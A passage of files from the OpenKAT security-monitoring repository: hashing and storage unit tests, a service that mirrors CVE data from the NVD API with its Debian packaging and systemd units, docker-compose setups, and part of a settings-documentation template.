    "content": "import datetime\nfrom datetime import timezone\nfrom unittest import TestCase\n\nfrom bytes.models import HashingAlgorithm\nfrom bytes.timestamping.hashing import hash_data\nfrom tests.loading import get_raw_data\n\n\nclass HashTests(TestCase):\n    def test_hash_same_data(self) -> None:\n        dt = datetime.datetime(year=2022, month=1, day=1, hour=0, minute=0, second=0, tzinfo=timezone.utc)\n\n        secure_hash = hash_data(data=get_raw_data(), datetime=dt)\n\n        self.assertEqual(\n            \"sha512:bc4d1f0a71ba9bf2ab2b7520322f8e969c48d5ae99e84b4a60b850f61ce5b\"\n            \"1e95e13f3ef6c43680fb03960f98799a92770e30591253784cc3213b194a73ea21d\",\n            secure_hash,\n        )\n\n        secure_hash = hash_data(data=get_raw_data(), datetime=dt)\n\n        self.assertEqual(\n            \"sha512:bc4d1f0a71ba9bf2ab2b7520322f8e969c48d5ae99e84b4a60b850f61ce5b\"\n            \"1e95e13f3ef6c43680fb03960f98799a92770e30591253784cc3213b194a73ea21d\",\n            secure_hash,\n        )\n\n    def test_hash_sha224(self) -> None:\n        dt = datetime.datetime(year=2022, month=1, day=1, hour=0, minute=0, second=0, tzinfo=timezone.utc)\n\n        secure_hash = hash_data(data=get_raw_data(), datetime=dt, hash_algo=HashingAlgorithm.SHA224)\n\n        self.assertEqual(\"sha224:27154a1b6301ba1bde0b78cc28590e19b8f15c660f13885765cc3d44\", secure_hash)\n\n        secure_hash = hash_data(data=get_raw_data(), datetime=dt, hash_algo=HashingAlgorithm.SHA224)\n\n        self.assertEqual(\"sha224:27154a1b6301ba1bde0b78cc28590e19b8f15c660f13885765cc3d44\", secure_hash)\n"
  },
  {
    "path": "bytes/tests/unit/test_raw_repository.py",
    "content": "import uuid\n\nimport pytest\n\nfrom bytes.config import get_settings\nfrom bytes.raw.file_raw_repository import FileRawRepository\nfrom bytes.raw.middleware import NaclBoxMiddleware\nfrom tests.loading import get_raw_data\n\n\ndef has_encryption_keys() -> bool:\n    settings = get_settings()\n\n    return settings.private_key_b64 and settings.public_key_b64\n\n\ndef test_save_raw(raw_repository: FileRawRepository) -> None:\n    raw_data = get_raw_data()\n    raw_id = str(uuid.uuid4())\n    raw_repository.save_raw(raw_id, raw_data)\n    retrieved_raw = raw_repository.get_raw(raw_id, raw_data.boefje_meta)\n\n    assert retrieved_raw.value == b\"KAT for president\"\n\n\n@pytest.mark.skipif(\"not has_encryption_keys()\")\ndef test_nacl_middleware(nacl_middleware: NaclBoxMiddleware) -> None:\n    msg = b\"The president is taking the underpass\"\n\n    encrypted = nacl_middleware.encode(contents=msg)\n    decrypted = nacl_middleware.decode(contents=encrypted)\n\n    assert encrypted != msg\n    assert decrypted == msg\n"
  },
  {
    "path": "cveapi/Dockerfile",
    "content": "FROM python:3.13-slim\n\nRUN mkdir -p /app /var/lib/kat-cveapi/v1\n\nCOPY requirements.txt /app/requirements.txt\nRUN pip install --no-cache-dir -r /app/requirements.txt\n\nCOPY cveapi.py /app/cveapi.py\nCOPY entrypoint.sh /app/entrypoint.sh\nRUN chmod +x /app/entrypoint.sh\n\nWORKDIR /app\nEXPOSE 8080\n\nENTRYPOINT [\"/app/entrypoint.sh\"]\n"
  },
  {
    "path": "cveapi/Makefile",
    "content": "debian12:\n\tmkdir -p build\n\tdocker run --rm \\\n\t--env PKG_NAME=kat-cveapi \\\n\t--env BUILD_DIR=./build \\\n\t--env RELEASE_VERSION=${RELEASE_VERSION} \\\n\t--env RELEASE_TAG=${RELEASE_TAG} \\\n\t--mount type=bind,src=${CURDIR},dst=/app \\\n\t--workdir /app \\\n\tkat-debian12-build-image \\\n\tpackaging/scripts/build-debian-package.sh\n\nclean:\n\trm -rf build\n\trm -rf debian/kat-*/ debian/.debhelper debian/files *.egg-info/ dist/\n\trm -f debian/debhelper-build-stamp\n\trm -f debian/*.*.debhelper\n\trm -f debian/*.substvars\n\trm -f debian/*.debhelper.log\n\trm -f debian/changelog\n"
  },
  {
    "path": "cveapi/cveapi.py",
    "content": "#!/usr/bin/env python3\n\nimport json\nimport logging\nimport os\nimport pathlib\nimport time\nfrom datetime import datetime, timedelta, timezone\n\nimport httpx\n\nlogger = logging.getLogger(\"cveapi\")\n\n\ndef download_files(directory: pathlib.Path, last_update: datetime | None, update_timestamp: datetime) -> None:\n    index = 0\n    client = httpx.Client()\n    error_count = 0\n\n    while True:\n        parameters: dict[str, int | str] = {\"startIndex\": index}\n\n        if last_update:\n            parameters.update(\n                {\"lastModStartDate\": last_update.isoformat(), \"lastModEndDate\": update_timestamp.isoformat()}\n            )\n\n        logger.debug(\"Parameters are %s\", parameters)\n\n        r = client.get(\"https://services.nvd.nist.gov/rest/json/cves/2.0/\", params=parameters, timeout=60)\n        if r.status_code != 200:\n            error_count += 1\n            if error_count == 5:\n                logger.error(\"Got 5 errors when trying to download data, giving up\")\n                r.raise_for_status()\n            logger.debug(\"Error fetching data, sleeping 10 seconds and trying again\")\n            time.sleep(10)\n            continue\n\n        # Reset error count\n        error_count = 0\n\n        response_json = r.json()\n\n        logger.debug(\"Fetched %d of %d results\", response_json[\"resultsPerPage\"], response_json[\"totalResults\"])\n\n        for cve in response_json[\"vulnerabilities\"]:\n            filename = directory / f\"{cve['cve']['id']}.json\"\n            with filename.open(\"w\") as f:\n                json.dump(cve, f)\n            last_modified = datetime.fromisoformat(cve[\"cve\"][\"lastModified\"]).timestamp()\n            os.utime(filename, (last_modified, last_modified))\n\n        if response_json[\"startIndex\"] + response_json[\"resultsPerPage\"] == response_json[\"totalResults\"]:\n            break\n\n        index += response_json[\"resultsPerPage\"]\n\n        # Ratelimit without API key is 5 requests per 30 seconds\n        time.sleep(30 / 5)\n\n    logger.info(\"Downloaded new information of %s CVEs\", response_json[\"totalResults\"])\n\n\ndef run() -> None:\n    loglevel = os.getenv(\"CVEAPI_LOGLEVEL\", \"INFO\")\n    numeric_level = getattr(logging, loglevel.upper(), None)\n    if not isinstance(numeric_level, int):\n        raise ValueError(f\"Invalid log level: {loglevel}\")\n    logging.basicConfig(format=\"%(message)s\", level=numeric_level)\n\n    cveapi_dir = os.getenv(\"CVEAPI_DIR\", \"/var/lib/kat-cveapi\")\n    directory = pathlib.Path(cveapi_dir) / \"v1\"\n    directory.mkdir(parents=True, exist_ok=True)\n\n    last_update_filename = directory / \"lastupdate.json\"\n    last_update = None\n    if last_update_filename.exists():\n        with last_update_filename.open() as f:\n            last_update = datetime.fromisoformat(json.load(f)[\"last_update\"])\n        logger.info(\"Last update was %s\", last_update.astimezone())\n\n    update_timestamp = datetime.now(timezone.utc)\n    update_timestamp = update_timestamp.replace(microsecond=0)\n\n    if last_update and update_timestamp - last_update > timedelta(days=120):\n        # The NVD API allows a maximum 120 day interval. If this is run when the\n        # last update is longer than 120 days we will just download everything\n        # again.\n        last_update = None\n\n    download_files(directory, last_update, update_timestamp)\n\n    with last_update_filename.open(\"w\") as f:\n        json.dump({\"last_update\": update_timestamp.isoformat()}, f)\n"
  },
  {
    "path": "cveapi/debian/control",
    "content": "Source: kat-cveapi\nSection: python\nPriority: optional\nMaintainer: OpenKAT <maintainer@openkat.nl>\nBuild-Depends: debhelper-compat (= 13),\n               dh-sequence-python3,\n               python3,\n               pybuild-plugin-pyproject,\n               python3-poetry,\nStandards-Version: 4.6.2\nHomepage: https://github.com/minvws/nl-kat-coordination\nRules-Requires-Root: no\n\nPackage: kat-cveapi\nArchitecture: all\nDepends: ${misc:Depends}, ${python3:Depends},\nDescription: OpenKAT - Download CVE data from NVD API\n Download CVE data from NVD API to make it available for OpenKAT to fetch.\n"
  },
  {
    "path": "cveapi/debian/copyright",
    "content": "Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nUpstream-Name: kat-cveapi\nUpstream-Contact: info@openkat.nl\nSource: https://github.com/minvws/nl-kat-coordination\n\nFiles: *\nCopyright: Ministry of Health, Welfare and Sport\nLicense: EUPL\n\nLicense: EUPL\n"
  },
  {
    "path": "cveapi/debian/kat-cveapi.service",
    "content": "[Unit]\nDescription=Download CVE API files\n\n[Service]\nType=oneshot\nWorkingDirectory=/var/lib/kat-cveapi\nStateDirectory=kat-cveapi\nExecStart=/usr/bin/cveapi\nUser=kat-cveapi\nCapabilityBoundingSet=\nRestrictNamespaces=yes\nDevicePolicy=closed\nKeyringMode=private\nNoNewPrivileges=yes\nPrivateDevices=yes\nPrivateMounts=yes\nPrivateTmp=yes\nPrivateUsers=yes\nProtectControlGroups=yes\nProtectHome=yes\nProtectKernelModules=yes\nProtectKernelTunables=yes\nProtectSystem=strict\nSystemCallArchitectures=native\nSystemCallFilter=@system-service\nSystemCallFilter=~@privileged @resources\nRestrictRealtime=yes\nLockPersonality=yes\nMemoryDenyWriteExecute=yes\nUMask=0022\nReadWritePaths=/var/lib/kat-cveapi\nTimeoutStartSec=8h\n"
  },
  {
    "path": "cveapi/debian/kat-cveapi.sysusers",
    "content": "u kat-cveapi - \"OpenKAT CVE API\" /var/lib/kat-cveapi\n"
  },
  {
    "path": "cveapi/debian/kat-cveapi.timer",
    "content": "[Unit]\nDescription=Download CVE API files\n\n[Timer]\nOnActiveSec=0s\nOnBootSec=120s\nOnUnitActiveSec=3600s\nPersistent=true\n\n[Install]\nWantedBy=timers.target\n"
  },
  {
    "path": "cveapi/debian/rules",
    "content": "#! /usr/bin/make -f\n\n%:\n\tdh $@ --buildsystem=pybuild\n\nexecute_after_dh_install:\n# When we switch to debhelper compat lever 14 this will be done automatically.\n\tdh_installsysusers\n"
  },
  {
    "path": "cveapi/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\nUPDATE_INTERVAL=${CVEAPI_UPDATE_INTERVAL:-86400}\n\n# /var/lib/kat-cveapi is a persistent volume mount (cveapi-data).\n# cveapi.py uses lastupdate.json to track the last download timestamp,\n# so restarts only fetch delta updates from NVD, not a full re-download.\n\n# Start HTTP server immediately so cached CVEs are available right away\ncd /var/lib/kat-cveapi\npython -m http.server 8080 &\n\n# Download/update (skips already downloaded CVEs via lastupdate.json)\ncd /app\necho \"Starting CVE download...\"\npython -c \"from cveapi import run; run()\"\necho \"CVE download complete\"\n\n# Update loop - fetch new/modified CVEs (only delta)\nwhile true; do\n    echo \"Next update in ${UPDATE_INTERVAL}s...\"\n    sleep \"$UPDATE_INTERVAL\"\n    echo \"Updating CVE database...\"\n    python -c \"from cveapi import run; run()\" || echo \"Update failed, will retry next cycle\"\ndone\n"
  },
  {
    "path": "cveapi/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/${RELEASE_TAG}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\ndpkg-buildpackage -us -uc -b\n\nmkdir -p /app/build\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "cveapi/pyproject.toml",
    "content": "[project]\nname = \"cveapi\"\nversion = \"0.0.1.dev1\"\ndescription = \"CVE API\"\nauthors = [{ name = \"MinVWS\", email = \"maintainer@openkat.nl\" }]\nlicense = { text = \"EUPL-1.2\" }\nrequires-python = \">=3.10\"\ndependencies = [\n    \"httpx>=0.28.1\",\n]\n\n[project.scripts]\ncveapi = \"cveapi:run\"\n\n[tool.uv]\npackage = false\n\n[build-system]\nrequires = [\"setuptools>=61.0\"]\nbuild-backend = \"setuptools.build_meta\"\n\n[tool.setuptools.packages.find]\nexclude = [\"debian*\", \"packaging*\"]\n"
  },
  {
    "path": "cveapi/requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project ./cveapi --no-default-groups --format requirements-txt -o ./cveapi/requirements.txt\nanyio==4.12.1 \\\n    --hash=sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703 \\\n    --hash=sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c\n    # via httpx\ncertifi==2026.1.4 \\\n    --hash=sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c \\\n    --hash=sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120\n    # via\n    #   httpcore\n    #   httpx\nexceptiongroup==1.3.1 ; python_full_version < '3.11' \\\n    --hash=sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219 \\\n    --hash=sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598\n    # via anyio\nh11==0.16.0 \\\n    --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \\\n    --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86\n    # via httpcore\nhttpcore==1.0.9 \\\n    --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \\\n    --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8\n    # via httpx\nhttpx==0.28.1 \\\n    --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \\\n    --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad\n    # via cveapi\nidna==3.11 \\\n    --hash=sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea \\\n    --hash=sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902\n    # via\n    #   anyio\n    #   httpx\ntyping-extensions==4.15.0 ; python_full_version < '3.13' \\\n    --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \\\n    --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548\n    # via\n    #   anyio\n    #   exceptiongroup\n"
  },
  {
    "path": "docker-compose.release-example.yml",
    "content": "# You should use this file in the following manner:\n# `docker compose --env-file .env-prod -f docker-compose.release-example.yml`\n\nservices:\n  rabbitmq:\n    restart: on-failure\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    ports:\n      - \"127.0.0.1:5672:5672\"\n      - \"127.0.0.1:15672:15672\"\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 10\n    env_file:\n      - .env-prod\n      - .env\n\n  postgres:\n    image: docker.io/library/postgres:15\n    shm_size: 256MB\n    ports:\n      - \"127.0.0.1:5432:5432\"\n    volumes:\n      - postgres-data:/var/lib/postgresql/data\n      - ./init-user-db.sh:/docker-entrypoint-initdb.d/init-user-db.sh\n    env_file:\n      - .env-prod\n      - .env\n    environment:\n      APPS: \"ROCKY BYTES KATALOGUS SCHEDULER\"\n\n  crux:\n    image: \"docker.underdark.nl/librekat/xtdb-http-multinode:v1.1.2\"\n    restart: on-failure\n    ports:\n      - \"127.0.0.1:3000:3000\"\n    volumes:\n      - xtdb-data:/var/lib/xtdb\n\n  octopoes_api:\n    restart: on-failure\n    depends_on:\n      - crux\n    ports:\n      - \"127.0.0.1:8001:80\"\n    image: \"docker.underdark.nl/librekat/openkat-octopoes:${KAT_VERSION}\"\n    command: web\n    env_file:\n      - .env-prod\n      - .env\n\n  octopoes_api_worker:\n    restart: on-failure\n    depends_on:\n      - crux\n      - rabbitmq\n    image: \"docker.underdark.nl/librekat/openkat-octopoes:${KAT_VERSION}\"\n    command: worker-beat\n    env_file:\n      - .env-prod\n      - .env\n    ulimits:\n      nofile:\n        soft: 262144\n        hard: 262144\n\n  octopoes_api_scanprofiles:\n    restart: on-failure\n    depends_on:\n      - octopoes_api\n      - katalogus\n    image: \"docker.underdark.nl/librekat/openkat-octopoes:${KAT_VERSION}\"\n    command: scanprofiles\n    env_file:\n      - .env-prod\n      - .env\n\n  boefje:\n    restart: on-failure\n    depends_on:\n      - rabbitmq\n      - bytes\n    image: \"docker.underdark.nl/librekat/openkat-boefjes:${KAT_VERSION}\"\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock\n    deploy:\n      replicas: 1\n    command: boefje\n    env_file:\n      - .env-prod\n      - .env\n    environment:\n      - BOEFJES_DOCKER_NETWORK=${COMPOSE_PROJECT_NAME:-nl-kat-coordination}_boefjes\n    networks:\n      - default\n      - boefjes\n\n  normalizer:\n    restart: on-failure\n    depends_on:\n      - rabbitmq\n      - bytes\n    image: \"docker.underdark.nl/librekat/openkat-boefjes:${KAT_VERSION}\"\n    deploy:\n      replicas: 1\n    command: normalizer\n    env_file:\n      - .env-prod\n      - .env\n\n  rocky:\n    restart: on-failure\n    depends_on:\n      - rocky_worker\n      - octopoes_api_worker\n      - octopoes_api\n      - postgres\n      - boefje\n      - normalizer\n      - katalogus\n      - scheduler\n    ports:\n      - \"127.0.0.1:8000:8000\"\n    image: \"docker.underdark.nl/librekat/openkat-rocky:${KAT_VERSION}\"\n    command: web\n    env_file:\n      - .env-prod\n      - .env\n    environment:\n      - DATABASE_MIGRATION=true\n\n  rocky_worker:\n    restart: on-failure\n    depends_on:\n      - octopoes_api_worker\n      - octopoes_api\n      - postgres\n      - boefje\n      - normalizer\n      - katalogus\n      - scheduler\n    image: \"docker.underdark.nl/librekat/openkat-rocky:${KAT_VERSION}\"\n    command: worker\n    env_file:\n      - .env-prod\n      - .env\n\n  bytes:\n    restart: on-failure\n    depends_on:\n      - postgres\n    ports:\n      - \"127.0.0.1:8002:8000\"\n    image: \"docker.underdark.nl/librekat/openkat-bytes:${KAT_VERSION}\"\n    env_file:\n      - .env-prod\n      - .env\n    environment:\n      - BYTES_DATA_DIR=/data\n    volumes:\n      - bytes-data:/data\n\n  katalogus:\n    restart: on-failure\n    depends_on:\n      - postgres\n    image: \"docker.underdark.nl/librekat/openkat-boefjes:${KAT_VERSION}\"\n    command: katalogus\n    ports:\n      - \"127.0.0.1:8003:8000\"\n    env_file:\n      - .env-prod\n      - .env\n    environment:\n      - DATABASE_MIGRATION=true\n\n  scheduler:\n    restart: on-failure\n    image: \"docker.underdark.nl/librekat/openkat-mula:${KAT_VERSION}\"\n    ports:\n      - \"127.0.0.1:8004:8000\"\n    env_file:\n      - .env-prod\n      - .env\n    depends_on:\n      - postgres\n      - boefje\n      - normalizer\n      - octopoes_api\n      - katalogus\n\nnetworks:\n  default:\n  boefjes:\n\nvolumes:\n  postgres-data:\n  bytes-data:\n  xtdb-data:\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "services:\n  rabbitmq:\n    restart: unless-stopped\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    ports:\n      - \"127.0.0.1:5672:5672\"\n      - \"127.0.0.1:15672:15672\"\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 10\n    env_file:\n      - .env-defaults\n      - .env\n\n  postgres:\n    restart: unless-stopped\n    image: docker.io/library/postgres:15\n    shm_size: 256MB\n    ports:\n      - \"127.0.0.1:5432:5432\"\n    healthcheck:\n      test: [\"CMD\", \"gosu\", \"postgres\", \"pg_isready\"]\n      interval: 10s\n      retries: 10\n    # Django runserver does not limit the number of threads. We need to increase\n    # the maximum number of connection to make sure that we don't hit the limit.\n    command: -c max_connections=500\n    volumes:\n      - postgres-data:/var/lib/postgresql/data\n      - ./init-user-db.sh:/docker-entrypoint-initdb.d/init-user-db.sh\n    env_file:\n      - .env-defaults\n      - .env\n    environment:\n      APPS: \"ROCKY BYTES KATALOGUS SCHEDULER\"\n\n  crux:\n    image: \"docker.underdark.nl/librekat/xtdb-http-multinode:main\"\n    restart: unless-stopped\n    ports:\n      - \"127.0.0.1:3000:3000\"\n    volumes:\n      - xtdb-data:/var/lib/xtdb\n\n  octopoes_api:\n    restart: unless-stopped\n    depends_on:\n      crux:\n        condition: service_started\n      rabbitmq:\n        condition: service_healthy\n    ports:\n      - \"127.0.0.1:8001:80\"\n    build:\n      context: octopoes/\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn octopoes.api.api:app --host 0.0.0.0 --port 80 --reload --reload-dir /app/octopoes/octopoes\n    env_file:\n      - .env-defaults\n      - .env\n    volumes:\n      - ./octopoes:/app/octopoes\n\n  octopoes_api_worker:\n    restart: unless-stopped\n    depends_on:\n      crux:\n        condition: service_started\n      rabbitmq:\n        condition: service_healthy\n    build:\n      context: octopoes/\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: worker-beat\n    env_file:\n      - .env-defaults\n      - .env\n    volumes:\n      - ./octopoes:/app/octopoes\n    ulimits:\n      nofile:\n        soft: 262144\n        hard: 262144\n\n  octopoes_api_scanprofiles:\n    restart: unless-stopped\n    build:\n      context: octopoes/\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: scanprofiles\n    env_file:\n      - .env-defaults\n      - .env\n    depends_on:\n      - octopoes_api\n      - katalogus\n    volumes:\n      - ./octopoes:/app/octopoes\n\n  boefje:\n    restart: unless-stopped\n    depends_on:\n      - rabbitmq\n      - bytes\n    ports:\n      - \"127.0.0.1:8006:8000\"\n    build:\n      context: .\n      dockerfile: boefjes/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    volumes:\n      - ./boefjes:/app/boefjes\n      - ./octopoes/octopoes:/app/boefjes/octopoes\n      - /var/run/docker.sock:/var/run/docker.sock\n    deploy:\n      replicas: 1\n    command: boefje\n    env_file:\n      - .env-defaults\n      - .env\n    environment:\n      - BOEFJES_DOCKER_NETWORK=${COMPOSE_PROJECT_NAME:-nl-kat-coordination}_boefjes\n    networks:\n      - default\n      - boefjes\n\n  normalizer:\n    restart: unless-stopped\n    depends_on:\n      - rabbitmq\n      - bytes\n    build:\n      context: .\n      dockerfile: boefjes/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    volumes:\n      - ./boefjes:/app/boefjes\n      - ./octopoes/octopoes:/app/boefjes/octopoes\n    deploy:\n      replicas: 1\n    command: normalizer\n    env_file:\n      - .env-defaults\n      - .env\n\n  rocky:\n    restart: unless-stopped\n    depends_on:\n      - postgres\n    ports:\n      - \"127.0.0.1:8000:8000\"\n    build:\n      context: .\n      dockerfile: rocky/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: python3 manage.py runserver 0.0.0.0:8000\n    volumes:\n      - ./rocky:/app/rocky\n      - ./octopoes/octopoes:/app/rocky/octopoes\n    env_file:\n      - .env-defaults\n      - .env\n    environment:\n      - GITPOD_WORKSPACE_URL=${GITPOD_WORKSPACE_URL:-}\n      - GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN=${GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN:-}\n\n  rocky_worker:\n    restart: unless-stopped\n    depends_on:\n      - postgres\n    build:\n      context: .\n      dockerfile: rocky/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: worker\n    volumes:\n      - ./rocky:/app/rocky\n      - ./octopoes/octopoes:/app/rocky/octopoes\n    env_file:\n      - .env-defaults\n      - .env\n    environment:\n      - GITPOD_WORKSPACE_URL=${GITPOD_WORKSPACE_URL:-}\n      - GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN=${GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN:-}\n\n  bytes:\n    restart: unless-stopped\n    depends_on:\n      - postgres\n    ports:\n      - \"127.0.0.1:8002:8000\"\n    build:\n      context: bytes/\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn bytes.api:app --host 0.0.0.0 --port 8000 --reload --reload-dir /app/bytes/bytes\n    volumes:\n      - ./bytes:/app/bytes\n      - bytes-data:/data\n    env_file:\n      - .env-defaults\n      - .env\n\n  katalogus:\n    restart: unless-stopped\n    depends_on:\n      - postgres\n    build:\n      context: .\n      dockerfile: boefjes/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn boefjes.katalogus.root:app --host 0.0.0.0 --port 8000 --reload --reload-dir /app/boefjes/boefjes/katalogus\n    volumes:\n      - ./boefjes:/app/boefjes\n      - ./octopoes/octopoes:/app/boefjes/octopoes\n    ports:\n      - \"127.0.0.1:8003:8000\"\n    env_file:\n      - .env-defaults\n      - .env\n\n  scheduler:\n    restart: unless-stopped\n    build:\n      context: mula/\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    ports:\n      - \"127.0.0.1:8004:8000\"\n    env_file:\n      - .env-defaults\n      - .env\n    volumes:\n      - ./mula:/app/scheduler\n    depends_on:\n      - postgres\n      - rabbitmq\n      - boefje\n      - normalizer\n      - octopoes_api\n      - katalogus\n\n  jaeger:\n    profiles:\n      - monitoring\n    restart: unless-stopped\n    image: docker.io/jaegertracing/jaeger:2.4.0\n    volumes:\n      - ./monitoring/jaeger.yml:/etc/jaeger/config.yml\n    command: [\"--config\", \"/etc/jaeger/config.yml\"]\n    ports:\n      - \"127.0.0.1:16686:16686\"\n      - \"127.0.0.1:8888:8888\"\n      - \"127.0.0.1:8889:8889\"\n      - \"127.0.0.1:4317:4317\"\n      - \"127.0.0.1:4318:4318\"\n\n  prometheus:\n    profiles:\n      - monitoring\n    restart: unless-stopped\n    image: docker.io/prom/prometheus:v3.2.1\n    ports:\n      - \"127.0.0.1:9090:9090\"\n    volumes:\n      - ./monitoring/prometheus.yml:/etc/prometheus/prometheus.yml\n      - prometheus-data:/prometheus\n\n  pyroscope:\n    profiles:\n      - monitoring\n    image: docker.io/grafana/pyroscope:1.13.2\n    ports:\n      - \"127.0.0.1:4040:4040\"\n\n  alloy:\n    profiles:\n      - monitoring\n    image: docker.io/grafana/alloy:v1.7.5\n    user: root\n    privileged: true\n    pid: host\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock\n      - ./monitoring/config.alloy:/config.alloy\n    ports:\n      - \"127.0.0.1:12345:12345\"\n    command:\n      - run\n      - /config.alloy\n      - --storage.path=/tmp/alloy\n      - --server.http.listen-addr=0.0.0.0:12345\n\n  grafana:\n    profiles:\n      - monitoring\n    image: grafana/grafana:11.6.0\n    environment:\n      - GF_INSTALL_PLUGINS=grafana-pyroscope-app\n      - GF_AUTH_ANONYMOUS_ENABLED=true\n      - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin\n      - GF_AUTH_DISABLE_LOGIN_FORM=true\n    volumes:\n      - ./monitoring/grafana-provisioning:/etc/grafana/provisioning\n    ports:\n      - \"127.0.0.1:4000:3000\"\n\n  cveapi:\n    profiles:\n      - cveapi\n    restart: unless-stopped\n    build:\n      context: cveapi/\n      dockerfile: Dockerfile\n    volumes:\n      - cveapi-data:/var/lib/kat-cveapi\n    ports:\n      - \"127.0.0.1:8880:8080\"\n    networks:\n      - default\n      - boefjes\n\nnetworks:\n  default:\n    enable_ipv6: true\n    ipam:\n      config:\n        - subnet: fc42:ca7::/64\n        - subnet: 172.30.0.0/16\n          gateway: 172.30.0.1\n  boefjes:\n    enable_ipv6: true\n    ipam:\n      config:\n        - subnet: fc42:ca7:1::/64\n        - subnet: 172.31.0.0/16\n          gateway: 172.31.0.1\n\nvolumes:\n  postgres-data:\n  bytes-data:\n  xtdb-data:\n  cveapi-data:\n  jaeger-data:\n  prometheus-data:\n"
  },
  {
    "path": "docs/settings-doc-templates/markdown.jinja",
    "content": "{#\n    The `--heading-offset` command line parameter is exposed as `heading_offset` variable.\n\n    See https://github.com/samuelcolvin/pydantic/blob/master/pydantic/fields.py for field structure.\n    Each `field` in `fields` is instance of `FieldInfo`.\n    Extra parameters unknown to pydantic are stored in `field.json_schema_extra`.\n\n    To see all possible values, run this generator with `--format debug`.\n#}\n{% macro heading(level) -%}\n    {{ '#' * (heading_offset + level) }}\n{%- endmacro %}\n\n{% for cls, fields in classes.items() %}\n\n{% for env_name, field in cls.model_fields.items() %}{% if not loop.first %}\n\n{% else %}{% endif %}{{ heading(2) }} `{% if field.validation_alias %}{{ field.validation_alias }}{% else %}{{ cls.model_config.env_prefix }}{{ env_name|upper }}{% endif %}`\n\n*{% if field.is_required() %}*Required*{% else %}Optional{% endif %}*{% if has_default_value(field) %}, default value: `{{ field.default }}`{% endif %}\n\n{% if field.description %}\n\n{{ field.description }}\n{% endif %}\n    {# Example values #}\n    {% if field.json_schema_extra and \"examples\" in field.json_schema_extra %}\n    {# `field.json_schema_extra.examples` has no pre-defined structure, so it is more flexible #}\n    {% set examples_values = field.json_schema_extra.examples %}\n\n{{ heading(3) }} Examples\n\n        {% if examples_values is string %}\n{{ examples_values }}\n        {% elif not is_values_with_descriptions(examples_values) %}\n            {% if examples_values|join(\"`, `\")|length + 2 <= 75 %}\n`{{ examples_values|join(\"`, `\") }}`\n            {% else %}\n                {% for value in examples_values %}\n- `{{ value }}`\n                {% endfor %}\n            {% endif %}\n        {% else %}\n            {% for value in examples_values %}\n                {% if value.__class__.__name__ == \"tuple\" and value|length <= 2 %}\n                    {% if value|length == 2 %}\n- `{{ value[0] }}`: {{ value[1] }}\n                    {% else %}\n- `{{ value[0] }}`\n                    {% endif %}\n                {% else %}\n- `{{ value }}`\n                {% endif %}\n            {% endfor %}\n        {% endif %}\n    {% elif field.examples %}\n    {# `field.examples` is limited to a list of only example values #}\n\n{{ heading(3) }} Examples\n\n        {% if field.examples|join(\"`, `\")|length + 2 <= 75 %}\n`{{ field.examples|join(\"`, `\") }}`\n        {% else %}\n            {% for value in field.examples %}\n- `{{ value }}`\n            {% endfor %}\n        {% endif %}\n    {% endif %}\n    {# Possible values #}\n    {% if field.json_schema_extra and \"possible_values\" in field.json_schema_extra %}\n        {% set possible_values = field.json_schema_extra.possible_values %}\n    {% elif is_typing_literal(field) %}\n        {% set possible_values = 